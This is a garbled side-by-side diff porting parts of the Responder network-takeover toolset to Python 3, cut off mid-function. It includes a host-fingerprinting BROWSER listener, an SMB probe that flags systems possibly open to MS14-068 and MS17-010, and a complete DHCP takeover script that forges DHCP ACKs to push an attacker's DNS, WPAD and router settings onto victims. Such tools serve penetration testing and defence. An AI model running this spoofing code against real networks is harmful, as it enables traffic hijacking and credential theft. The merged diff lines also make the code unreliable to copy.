# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys import sys
import os import os
import thread import _thread
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR) sys.path.insert(0, BASEDIR)
from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler from socketserver import UDPServer, ThreadingMixIn, BaseRequestHandler
from threading import Lock from threading import Lock
from utils import * from utils import *
def ParseRoles(data): def ParseRoles(data):
if len(data) != 4: if len(data) != 4:
return '' return ''
AllRoles = { AllRoles = {
'Workstation': (ord(data[0]) >> 0) & 1, 'Workstation': (ord(data[0]) >> 0) & 1,
'Server': (ord(data[0]) >> 1) & 1, 'Server': (ord(data[0]) >> 1) & 1,
'SQL': (ord(data[0]) >> 2) & 1, 'SQL': (ord(data[0]) >> 2) & 1,
'Domain Controller': (ord(data[0]) >> 3) & 1, 'Domain Controller': (ord(data[0]) >> 3) & 1,
'Backup Controller': (ord(data[0]) >> 4) & 1, 'Backup Controller': (ord(data[0]) >> 4) & 1,
'Time Source': (ord(data[0]) >> 5) & 1, 'Time Source': (ord(data[0]) >> 5) & 1,
'Apple': (ord(data[0]) >> 6) & 1, 'Apple': (ord(data[0]) >> 6) & 1,
'Novell': (ord(data[0]) >> 7) & 1, 'Novell': (ord(data[0]) >> 7) & 1,
'Member': (ord(data[1]) >> 0) & 1, 'Member': (ord(data[1]) >> 0) & 1,
'Print': (ord(data[1]) >> 1) & 1, 'Print': (ord(data[1]) >> 1) & 1,
'Dialin': (ord(data[1]) >> 2) & 1, 'Dialin': (ord(data[1]) >> 2) & 1,
'Xenix': (ord(data[1]) >> 3) & 1, 'Xenix': (ord(data[1]) >> 3) & 1,
'NT Workstation': (ord(data[1]) >> 4) & 1, 'NT Workstation': (ord(data[1]) >> 4) & 1,
'WfW': (ord(data[1]) >> 5) & 1, 'WfW': (ord(data[1]) >> 5) & 1,
'Unused': (ord(data[1]) >> 6) & 1, 'Unused': (ord(data[1]) >> 6) & 1,
'NT Server': (ord(data[1]) >> 7) & 1, 'NT Server': (ord(data[1]) >> 7) & 1,
'Potential Browser': (ord(data[2]) >> 0) & 1, 'Potential Browser': (ord(data[2]) >> 0) & 1,
'Backup Browser': (ord(data[2]) >> 1) & 1, 'Backup Browser': (ord(data[2]) >> 1) & 1,
'Master Browser': (ord(data[2]) >> 2) & 1, 'Master Browser': (ord(data[2]) >> 2) & 1,
'Domain Master Browser': (ord(data[2]) >> 3) & 1, 'Domain Master Browser': (ord(data[2]) >> 3) & 1,
'OSF': (ord(data[2]) >> 4) & 1, 'OSF': (ord(data[2]) >> 4) & 1,
'VMS': (ord(data[2]) >> 5) & 1, 'VMS': (ord(data[2]) >> 5) & 1,
'Windows 95+': (ord(data[2]) >> 6) & 1, 'Windows 95+': (ord(data[2]) >> 6) & 1,
'DFS': (ord(data[2]) >> 7) & 1, 'DFS': (ord(data[2]) >> 7) & 1,
'Local': (ord(data[3]) >> 6) & 1, 'Local': (ord(data[3]) >> 6) & 1,
'Domain Enum': (ord(data[3]) >> 7) & 1, 'Domain Enum': (ord(data[3]) >> 7) & 1,
} }
return ', '.join(k for k,v in AllRoles.items() if v == 1) return ', '.join(k for k,v in list(AllRoles.items()) if v == 1)
class BrowserListener(BaseRequestHandler): class BrowserListener(BaseRequestHandler):
def handle(self): def handle(self):
data, socket = self.request data, socket = self.request
lock = Lock() lock = Lock()
lock.acquire() lock.acquire()
DataOffset = struct.unpack('<H',data[139:141])[0] DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:] BrowserPacket = data[82+DataOffset:]
ReqType = RequestType(BrowserPacket[0]) ReqType = RequestType(BrowserPacket[0])
Domain = Decode_Name(data[49:81]) Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47]) Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48]) Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82]) Role2 = NBT_NS_Role(data[79:82])
Fprint = WorkstationFingerPrint(data[190:192]) Fprint = WorkstationFingerPrint(data[190:192])
Roles = ParseRoles(data[192:196]) Roles = ParseRoles(data[192:196])
print text("[BROWSER] Request Type : %s" % ReqType) print(text("[BROWSER] Request Type : %s" % ReqType))
print text("[BROWSER] Address : %s" % self.client_address[0]) print(text("[BROWSER] Address : %s" % self.client_address[0]))
print text("[BROWSER] Domain : %s" % Domain) print(text("[BROWSER] Domain : %s" % Domain))
print text("[BROWSER] Name : %s" % Name) print(text("[BROWSER] Name : %s" % Name))
print text("[BROWSER] Main Role : %s" % Role1) print(text("[BROWSER] Main Role : %s" % Role1))
print text("[BROWSER] 2nd Role : %s" % Role2) print(text("[BROWSER] 2nd Role : %s" % Role2))
print text("[BROWSER] Fingerprint : %s" % Fprint) print(text("[BROWSER] Fingerprint : %s" % Fprint))
print text("[BROWSER] Role List : %s" % Roles) print(text("[BROWSER] Role List : %s" % Roles))
RAPThisDomain(self.client_address[0], Domain) RAPThisDomain(self.client_address[0], Domain)
lock.release() lock.release()
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
self.allow_reuse_address = 1 self.allow_reuse_address = 1
UDPServer.server_bind(self) UDPServer.server_bind(self)
def serve_thread_udp_broadcast(host, port, handler): def serve_thread_udp_broadcast(host, port, handler):
try: try:
server = ThreadingUDPServer(('', port), handler) server = ThreadingUDPServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." print("Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
if __name__ == "__main__": if __name__ == "__main__":
try: try:
print "Listening for BROWSER datagrams..." print("Listening for BROWSER datagrams...")
thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener)) _thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener))
while True: while True:
time.sleep(1) time.sleep(1)
except KeyboardInterrupt: except KeyboardInterrupt:
sys.exit("\r Exiting...") sys.exit("\r Exiting...")

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@@ -17,7 +17,7 @@
import sys import sys
import struct import struct
import optparse import optparse
import ConfigParser import configparser
import os import os
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
@@ -39,42 +39,42 @@ parser.add_option('-R', action="store_true", help="Respond to DH
options, args = parser.parse_args() options, args = parser.parse_args()
def color(txt, code = 1, modifier = 0): def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
if options.Interface is None: if options.Interface is None:
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface." print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
exit(-1) exit(-1)
elif options.RouterIP is None: elif options.RouterIP is None:
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP." print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
exit(-1) exit(-1)
elif options.DNSIP is None: elif options.DNSIP is None:
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours." print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
exit(-1) exit(-1)
elif options.DNSIP2 is None: elif options.DNSIP2 is None:
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours." print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
exit(-1) exit(-1)
print '#############################################################################' print('#############################################################################')
print '## DHCP INFORM TAKEOVER 0.2 ##' print('## DHCP INFORM TAKEOVER 0.2 ##')
print '## ##' print('## ##')
print '## By default, this script will only inject a new DNS/WPAD ##' print('## By default, this script will only inject a new DNS/WPAD ##')
print '## server to a Windows <= XP/2003 machine. ##' print('## server to a Windows <= XP/2003 machine. ##')
print '## ##' print('## ##')
print '## To inject a DNS server/domain/route on a Windows >= Vista and ##' print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
print '## any linux box, use -R (can be noisy) ##' print('## any linux box, use -R (can be noisy) ##')
print '## ##' print('## ##')
print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##' print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
print '#############################################################################' print('#############################################################################')
print '' print('')
print color('[*]', 2, 1), 'Listening for events...' print(color('[*]', 2, 1), 'Listening for events...')
config = ConfigParser.ConfigParser() config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf')) config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = options.Interface Interface = options.Interface
Responder_IP = FindLocalIP(Interface) Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP ROUTERIP = options.RouterIP
NETMASK = options.Netmask NETMASK = options.Netmask
DHCPSERVER = Responder_IP DHCPSERVER = Responder_IP
@@ -86,233 +86,232 @@ Spoof = options.Spoof
Respond_To_Requests = options.Respond_To_Requests Respond_To_Requests = options.Respond_To_Requests
if Spoof: if Spoof:
DHCPSERVER = ROUTERIP DHCPSERVER = ROUTERIP
##### IP Header ##### ##### IP Header #####
class IPHead(Packet): class IPHead(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Version", "\x45"), ("Version", "\x45"),
("DiffServices", "\x00"), ("DiffServices", "\x00"),
("TotalLen", "\x00\x00"), ("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"), ("Ident", "\x00\x00"),
("Flags", "\x00\x00"), ("Flags", "\x00\x00"),
("TTL", "\x40"), ("TTL", "\x40"),
("Protocol", "\x11"), ("Protocol", "\x11"),
("Checksum", "\x00\x00"), ("Checksum", "\x00\x00"),
("SrcIP", ""), ("SrcIP", ""),
("DstIP", ""), ("DstIP", ""),
]) ])
class UDP(Packet): class UDP(Packet):
fields = OrderedDict([ fields = OrderedDict([
("SrcPort", "\x00\x43"), ("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"), ("DstPort", "\x00\x44"),
("Len", "\x00\x00"), ("Len", "\x00\x00"),
("Checksum", "\x00\x00"), ("Checksum", "\x00\x00"),
("Data", "\x00\x00"), ("Data", "\x00\x00"),
]) ])
def calculate(self): def calculate(self):
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8) self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
class DHCPACK(Packet): class DHCPACK(Packet):
fields = OrderedDict([ fields = OrderedDict([
("MessType", "\x02"), ("MessType", "\x02"),
("HdwType", "\x01"), ("HdwType", "\x01"),
("HdwLen", "\x06"), ("HdwLen", "\x06"),
("Hops", "\x00"), ("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"), ("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"), ("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"), ("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"), ("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"), ("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"), ("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"), ("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"), ("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10), ("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64), ("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128), ("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"), ("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message ("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"), ("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK) ("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"), ("Op54", "\x36"),
("Op54Len", "\x04"), ("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server ("Op54Str", ""), #DHCP Server
("Op51", "\x33"), ("Op51", "\x33"),
("Op51Len", "\x04"), ("Op51Len", "\x04"),
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
("Op1", "\x01"), ("Op1", "\x01"),
("Op1Len", "\x04"), ("Op1Len", "\x04"),
("Op1Str", ""), #Netmask ("Op1Str", ""), #Netmask
("Op15", "\x0f"), ("Op15", "\x0f"),
("Op15Len", "\x0e"), ("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name ("Op15Str", ""), #DNS Name
("Op3", "\x03"), ("Op3", "\x03"),
("Op3Len", "\x04"), ("Op3Len", "\x04"),
("Op3Str", ""), #Router ("Op3Str", ""), #Router
("Op6", "\x06"), ("Op6", "\x06"),
("Op6Len", "\x08"), ("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers ("Op6Str", ""), #DNS Servers
("Op252", "\xfc"), ("Op252", "\xfc"),
("Op252Len", "\x04"), ("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server ("Op252Str", ""), #Wpad Server
("Op255", "\xff"), ("Op255", "\xff"),
("Padding", "\x00"), ("Padding", "\x00"),
]) ])
def calculate(self): def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK) self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Str"] = DNSNAME self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
class DHCPInformACK(Packet): class DHCPInformACK(Packet):
fields = OrderedDict([ fields = OrderedDict([
("MessType", "\x02"), ("MessType", "\x02"),
("HdwType", "\x01"), ("HdwType", "\x01"),
("HdwLen", "\x06"), ("HdwLen", "\x06"),
("Hops", "\x00"), ("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"), ("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"), ("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"), ("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"), ("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"), ("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"), ("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"), ("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"), ("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10), ("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64), ("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128), ("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"), ("MagicCookie", "\x63\x82\x53\x63"),
("Op53", "\x35\x01\x05"), #Msgtype(ACK) ("Op53", "\x35\x01\x05"), #Msgtype(ACK)
("Op54", "\x36"), ("Op54", "\x36"),
("Op54Len", "\x04"), ("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server ("Op54Str", ""), #DHCP Server
("Op1", "\x01"), ("Op1", "\x01"),
("Op1Len", "\x04"), ("Op1Len", "\x04"),
("Op1Str", ""), #Netmask ("Op1Str", ""), #Netmask
("Op15", "\x0f"), ("Op15", "\x0f"),
("Op15Len", "\x0e"), ("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name ("Op15Str", ""), #DNS Name
("Op3", "\x03"), ("Op3", "\x03"),
("Op3Len", "\x04"), ("Op3Len", "\x04"),
("Op3Str", ""), #Router ("Op3Str", ""), #Router
("Op6", "\x06"), ("Op6", "\x06"),
("Op6Len", "\x08"), ("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers ("Op6Str", ""), #DNS Servers
("Op252", "\xfc"), ("Op252", "\xfc"),
("Op252Len", "\x04"), ("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server. ("Op252Str", ""), #Wpad Server.
("Op255", "\xff"), ("Op255", "\xff"),
]) ])
def calculate(self): def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
self.fields["Op1Str"] = socket.inet_aton(NETMASK) self.fields["Op1Str"] = socket.inet_aton(NETMASK)
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
self.fields["Op15Str"] = DNSNAME self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
def SpoofIP(Spoof): def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp): def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'): if ClientIp.startswith('127.0.0.'):
return False return False
elif RespondTo and ClientIp not in RespondTo: elif RespondTo and ClientIp not in RespondTo:
return False return False
elif ClientIp in RespondTo or RespondTo == []: elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo: if ClientIp not in DontRespondTo:
return True return True
return False return False
def ParseSrcDSTAddr(data): def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30]) SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34]) DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0] SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0] DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data): def FindIP(data):
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]) return ''.join(IP[0:4])
def ParseDHCPCode(data): def ParseDHCPCode(data):
PTid = data[4:8] PTid = data[4:8]
Seconds = data[8:10] Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16]) CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20]) RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34] MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
OpCode = data[242:243] OpCode = data[242:243]
RequestIP = data[245:249] RequestIP = data[245:249]
# DHCP Inform # DHCP Inform
if OpCode == "\x08": if OpCode == "\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
GiveClientIP=socket.inet_aton("0.0.0.0"), GiveClientIP=socket.inet_aton("0.0.0.0"),
NextServerIP=socket.inet_aton("0.0.0.0"), NextServerIP=socket.inet_aton("0.0.0.0"),
RelayAgentIP=socket.inet_aton("0.0.0.0"), RelayAgentIP=socket.inet_aton("0.0.0.0"),
ElapsedSec=Seconds) ElapsedSec=Seconds)
Packet.calculate() Packet.calculate()
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data) IP = FindIP(data)
if IP: if IP:
IPConv = socket.inet_ntoa(IP) IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv): if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
Packet.calculate() Packet.calculate()
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data) IP = FindIP(data)
if IP: if IP:
IPConv = socket.inet_ntoa(IP) IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv): if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
Packet.calculate() Packet.calculate()
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def SendDHCP(packet,Host): def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(packet, Host) s.sendto(packet, Host)
if __name__ == "__main__": if __name__ == "__main__":
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800)) s.bind((Interface, 0x0800))
while True: while True:
try: try:
data = s.recvfrom(65535) data = s.recvfrom(65535)
if data[0][23:24] == "\x11": # is udp? if data[0][23:24] == "\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:
ret = ParseDHCPCode(data[0][42:]) ret = ParseDHCPCode(data[0][42:])
if ret: if ret:
print text("[DHCP] %s" % ret) print(text("[DHCP] %s" % ret))
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
except KeyboardInterrupt:
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))

0
tools/DHCP_Auto.sh Normal file → Executable file
View File

View File

@@ -1,5 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify # This program is free software: you can redistribute it and/or modify
@@ -14,55 +14,86 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys import re,sys,socket,struct
import os import os
import datetime import datetime
import struct import multiprocessing
import socket from socket import *
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMB2Header, SMB2Nego, SMB2NegoData from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
def GetBootTime(data): def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0]) Filetime = int(struct.unpack('<q',data)[0])
if Filetime == 0: # server may not disclose this info
return 0, "Unknown"
t = divmod(Filetime - 116444736000000000, 10000000) t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0]) time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S') return time, time.strftime('%Y-%m-%d %H:%M:%S')
def IsDCVuln(t): def IsDCVuln(t, host):
if t[0] == 0:
print("Server", host[0], "did not disclose its boot time")
return
Date = datetime.datetime(2014, 11, 17, 0, 30) Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date: if t[0] < Date:
print "DC is up since:", t[1] print("System is up since:", t[1])
print "This DC is vulnerable to MS14-068" print("This system may be vulnerable to MS14-068")
print "DC is up since:", t[1] Date = datetime.datetime(2017, 0o3, 14, 0, 30)
if t[0] < Date:
print("System is up since:", t[1])
print("This system may be vulnerable to MS17-010")
print("Server", host[0], "is up since:", t[1])
def run(host): def run(host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket(AF_INET, SOCK_STREAM)
s.connect(host) s.settimeout(5)
s.settimeout(5)
Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2Nego(Data = SMB2NegoData())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
try: try:
s.connect(host)
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
Nego.calculate()
Packet = str(Header)+str(Nego)
Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer)
data = s.recv(1024) data = s.recv(1024)
if data[4:5] == "\xff": if data[4:5] == "\xff":
